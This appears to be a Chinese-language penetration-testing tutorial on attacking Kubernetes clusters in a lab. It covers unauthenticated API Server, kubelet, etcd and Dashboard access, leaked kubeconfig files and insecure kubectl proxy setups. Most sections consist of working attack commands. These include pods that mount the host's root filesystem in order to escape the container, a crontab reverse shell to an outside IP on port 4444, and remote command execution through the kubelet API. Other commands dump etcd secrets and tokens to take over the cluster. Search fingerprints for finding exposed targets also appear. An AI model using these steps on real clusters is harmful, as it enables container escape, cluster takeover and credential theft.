https://blog.csdn.net/qq_34101364/article/details/122506768
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
https://zone.huoxian.cn/d/1153-k8s
1.什么是K8S
Kubernetes是一个开源的容器编排平台,用于自动化容器化应用的部署、调度、扩缩容、自愈、服务发现与负载均衡,实现“一次构建,随处运行”的云原生理念。
2.K8S的核心架构
K8s 集群采用 主从架构(Master-Worker),分为两大平面:

2.1.控制平面(Master节点)
相当于集群的“大脑”,负责全局决策和状态管理。关键组件包括:
| 组件 |
功能 |
安全风险 |
| API Server |
所有操作的唯一入口(RESTful API) |
若未授权访问 → 全集群沦陷 |
| etcd |
存储集群所有状态数据(如 Secrets、Pod 配置) |
数据库泄露 = 敏感信息泄露 |
| Controller Manager |
管理控制器(如 ReplicaSet、Node 控制器) |
配置错误可能导致资源异常 |
| Scheduler |
决定 Pod 调度到哪个 Node |
一般风险较低,但可被利用于资源耗尽攻击 |
🔒 安全重点:API Server 和 etcd 是高价值目标,必须启用 TLS、RBAC、网络隔离。
2.2.工作节点(Node节点)
实际运行应用的地方,每个 Node 上运行:
| 组件 |
功能 |
安全风险 |
| kubelet |
管理本机 Pod 生命周期,执行命令 |
10250 端口未授权访问 → 可执行任意命令、读取日志、逃逸 |
| kube-proxy |
实现 Service 网络代理(iptables/IPVS) |
配置不当可能绕过网络策略 |
| 容器运行时(如 containerd、Docker) |
运行容器 |
容器逃逸、镜像漏洞、提权风险 |
2.3.K8S中关键对象
- Pod:最小调度单元,包含一个或多个容器。安全边界薄弱,同一 Pod 内容器共享网络/存储。
- Service:提供稳定的网络访问入口。若未配合 NetworkPolicy,可能导致横向移动。
- Namespace:逻辑隔离单位。多租户场景下必须严格隔离。
- Secret:存储敏感信息(如密码、token)。默认 base64 编码,非加密!需配合 etcd 加密或外部 Vault。
- Role / ClusterRole + RoleBinding:基于 RBAC 的权限控制。过度授权是常见漏洞(如 cluster-admin 权限滥用)。
- NetworkPolicy:定义 Pod 间通信规则。默认允许所有流量,必须显式限制。
3.K8S攻击路径
https://github.com/Bywalks/K8s-Mind-Map

1
2
3
|
K8S-master 192.168.66.146 root/123456
K8S-node1 192.168.66.148 root/123456
K8S-node2 192.168.66.149 root/123456
|
3.1.Kubelet未授权访问漏洞
3.1.1.8080端口 API Server未授权访问
影响版本:K8S<1.16.0 或者错误的配置
app.name==“Kubernetes”
旧版本的K8S API Server默认会开启两个端口8080与6443
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有TLS保护。(k8s旧版本<1.16.0)
新版本k8s默认己经不开启8080端口需要更改相应的配置
1
2
3
4
5
|
cd /etc/kubernetes/manifests //如果你不是用 kubeadm 初始化的集群,会不存在这个文件夹
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet
|

1
2
3
4
5
|
kubectl version 查看目标环境K8S版本
kubectl get nodes -o wide 通过运行节点查看版本
kubectl get --raw='/version' 通过API查询
|




利用工具下载:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-windows/
1
2
3
|
curl.exe -LO "https://dl.k8s.io/release/v1.35.0/bin/windows/amd64/kubectl-convert.exe"
http://192.168.66.146:8080/api/v1/nodes
kubectl.exe -s 192.168.66.146:8080 get nodes
|

1
2
3
4
|
kubectl.exe -s 192.168.66.146:8080 get pods //只查看默认当前命名空间(namespace)下的Pod。
//查看所有命名空间的 Pod
kubectl.exe -s 192.168.66.146:8080 get pods --all-namespaces
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
//配置镜像地址
sudo tee /etc/docker/daemon.json <<'EOF'
{
"registry-mirrors": [
"https://docker.1panel.live",
"https://hub.1panel.dev",
"https://docker.kejilion.pro",
"https://docker.xuanyuan.me",
"https://hubp.me",
"https://dockerproxy.net",
"https://hub2.nat.tf",
"https://doublezonline.cloud"
]
}
EOF
//重载并重启 Docker
sudo systemctl daemon-reload
sudo systemctl restart docker
//验证配置是否生效
docker info | grep -A 10 "Registry Mirrors"
//Kubernetes 节点通过访问 Docker Hub 来拉取 nginx 镜像,所以需要注意网络情况
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: registry.cn-hangzhou.aliyuncs.com/library/nginx:latest # 👈 阿里云官方代理
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
kubectl.exe -s 192.168.66.146:8080 delete pod test //删除镜像
kubectl.exe -s 192.168.66.146:8080 create -f test.yaml
kubectl.exe -s 192.168.66.146:8080 get pods //查看是否创建成功
|

1
2
3
4
5
6
7
8
9
|
kubectl.exe -s 192.168.66.146:8080 --namespace=default exec -it test bash //这是旧版进入容器
kubectl.exe -s 192.168.66.146:8080 exec -it test -- bash //新版本命令
//
echo -e "*/1 * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" > /mnt/etc/crontab
//反弹shell
kubectl.exe -n namespace exec test -- echo -e '* * * * * root bash /tmp/123.sh\n' >>/mnt/etc/crontab
|


3.1.2.6443端口-API Server未授权访问漏洞
指纹特征:app=“kubernetes” && port=“6443” && country=“CN”
不存在未授权漏洞如下图所示

6443未授权无法直接通过修改配置文件开启
1
2
3
4
5
6
7
8
|
kubectl create clusterrolebinding system-anonymous --clusterrole=cluster-admin --user=system:anonymous
POST https://192.168.139.130:6443/api/v1/namespaces/default/pods/
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test03\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test03\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test03","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
kubectl.exe --insecure-skip-tls-verify -s 192.168.66.146:8080 get pods //跳过安全验证
kubectl.exe --insecure-skip-tls-verify -s 192.168.66.146:8080 exec -it test -- bash
echo -e "*/1 * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" > /mnt/etc/crontab
|
3.2.node节点-10250端口 kubelet未授权访问
https://mp.weixin.qq.com/s/CSsZKFSoWmgiVnjnQEwOUw
K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机
前提条件,修改/var/lib/kubelet/config.yaml文件

1
|
https://192.168.66.148:10250/pods
|

利用前需要获取3个参数namespace,pod,container
1
|
https://192.168.66.148:10250/runningpods/
|

1
2
3
4
5
6
7
|
pod:test
namespace: default
containers: test-container
curl -XPOST -k "https://192.168.66.148:10250/run/default/test/test-container" -d "cmd=id"
curl -k -X POST https://192.168.66.148:10250/exec/default/test/test-container -H "Content-Type: application/json" -d '{"command":"id"}'
|
3.3.etcd未授权访问漏洞
指纹:Etcd && port="2379"
https://mp.weixin.qq.com/s/F-jQER9YXBwNazGpMEtN0A
https://mp.weixin.qq.com/s/xPQhTql_FuzuPhSKRv1Ulw
攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书
1
2
|
攻击路径:
存在etcd未授权--->获取secret&token--->通过token访问api server实现接管
|
配置文件位置/etc/kubernetes/manifests/etcd.yaml
将–client-cert-auth设置为false或删除即可开启,但是实战中k8s默认配置2379只监听本地,如果没有设置其它访问,那么最多只能本地127.0.0.1访问,不能公网访问,只能配合SSRF漏洞获取token

3.3.1.漏洞环境搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
1
2
3
4
5
6
7
|
docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images
docker network create --driver bridge --subnet=172.16.1.0/16 --gateway=172.16.1.1 mynet
# 查看网络
docker network ls
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
//节点1
docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--network=mynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new
//节点2
docker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--network=mynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new
//节点3
docker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--network=mynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster "etcdnode1=http://172.16.2.1:2380,etcdnode2=http://172.16.2.2:2380,etcdnode3=http://172.16.2.3:2380" \
-initial-cluster-state new
//查看docker进程
docker ps
//查看端口是否开放
ss -tuln
|

3.3.2.etcd v3版本漏洞复现
v2版本太老了,很少有使用到的,etcd v3版本的api和v2版本完全不同
1
|
http://ip:2379/v2/keys/?recursive=true V2版本直接访问,可以看到所有的key-value值
|
v3版本利用工具:https://github.com/etcd-io/etcd/
1
2
3
4
5
6
7
8
|
//插入数据
etcdctl.exe --endpoints=192.168.66.152:23791 put /testdir/testkey1 "Hello world1"
//执行下面命令即可读取etcd中存储的所有数据:(在keys中查找敏感key)
etcdctl.exe --endpoints=192.168.66.152:23791 get / --prefix
//查找指定key的值
etcdctl --endpoints=192.168.66.152:23791 get /testdir/testkey1
|

1
2
3
4
5
6
7
8
9
10
|
etcdctl --endpoints=IP:2379 get / --prefix --keys-only | findstr /C:"/secrets/"
etcdctl --endpoints=IP:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole"
//获取token
etcdctl --endpoints=IP:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7
//通过token访问api server实现接管
kubectl --insecure-skip-tls-verify -s https://192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6I" -n kube-system get pods
#curl验证
curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ" -X GET https://192.168.48.142:6443/api -k
|

3.4.Dashboard未授权访问漏洞
指纹特征:title=“Kubernetes Dashboard”
https://mp.weixin.qq.com/s/dA23FhqBgop-Fw0WwU67Zw
默认端口8001,配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
- 一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
- 另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml
//修改kubernetes-dashboard的Service类型
kind: Service
apiVersion: v1
metadata:
labels:
k8s-app: kubernetes-dashboard
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
type: NodePort # 新增
ports:
- port: 443
targetPort: 8443
nodePort: 30009 # 新增
selector:
k8s-app: kubernetes-dashboard
//增加一行
- --enable-skip-login
|

1
|
kubectl.exe -s 192.168.66.146:8080 create -f C:\Users\24767\Desktop\recommend.yaml --validate=false
|

1
2
3
4
5
|
//查看面板是否正常
kubectl.exe -s 192.168.66.146:8080 get pod,svc -n kubernetes-dashboard
# 2. 检查 Pod
kubectl.exe -s 192.168.66.146:8080 get pods -n kubernetes-dashboard
|

找到暴露面板—>创建或上传pod—>进入pod执行—>容器挂载逃逸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
//卸载
kubectl.exe -s 192.168.66.146:8080 delete -f C:\Users\24767\Desktop\recommend.yaml
//排错
kubectl.exe -s 192.168.66.146:8080 get ns kubernetes-dashboard -o json > k8s-dashboard-ns.json
修改json文件中spec值为
"spec": {
"finalizers": []
},
curl -k -H "Content-Type: application/json" -X PUT --data-binary @k8s-dashboard-ns.json http://192.168.66.146:8080/api/v1/namespaces/kubernetes-dashboard/finalize
//查看是否删除成功
kubectl.exe -s 192.168.66.146:8080 get ns kubernetes-dashboard
|
3.4.1.漏洞环境搭建
我这里环境配置有问题,只能让docker启动才能复现成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# 拉去镜像
docker pull kubernetesui/dashboard:v2.7.0
# 运行,需要指定你的API-server
docker run -d \
--name dashboard \
--network host \
-e KUBERNETES_SERVICE_HOST=192.168.66.146 \
-e KUBERNETES_SERVICE_PORT=8080 \
kubernetesui/dashboard:v2.7.0 \
--enable-skip-login \
--disable-settings-authorizer \
--insecure-bind-address=0.0.0.0 \
--insecure-port=30009 \
--apiserver-host=http://192.168.66.146:8080
|

直接访问

正常情况

创建pod或上传pod

后续利用都和API Server未授权利用一样,进行逃逸
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
apiVersion: v1
kind: Pod
metadata:
name: lsec
spec:
containers:
- name: test-container
image: nginx:latest
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
|

3.5.Configfile鉴权文件泄露
K8S面板有两种登录方式,一种是通过token认证登陆,一种是通过kubeconfig配置文件认证登录
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:
- 如果提供了–kubeconfig参数,就使用提供的 kubeconfig 文件。
- 如果没有提供–kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
- 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 /root/.kube/config**。**

漏洞利用:泄露k8s-configfile—>认证进入—>创建恶意pod—>容器逃逸
配置文件一般怎么泄露:拿到webshell或者从github中泄露

拿着配置文件通过面板进行登录
或者拿着配置文件认证6443端口实现认证,如果**/root/.kube/config这个文件认证不成功,可以使用管理员master节点的认证**/etc/kubernetes/admin.conf
1
2
3
4
5
|
kubectl.exe -s https://192.168.66.146:6443/ --kubeconfig=C:\Users\24767\Desktop\config --insecure-skip-tls-verify=true get nodes
kubectl.exe apply -f test.yaml -n default --kubeconfig=C:\Users\24767\Desktop\config
进入容器逃逸
|
如果还是认证不成功,使用这条命令检查ps -ef | grep kube-apiserver
3.6.Kubectl Proxy不安全配置
**造成原因:**当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy,使用 kubectl proxy命令就可以使API server 监听在本地的 xxxx 端口上
1
2
|
环境搭建:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
|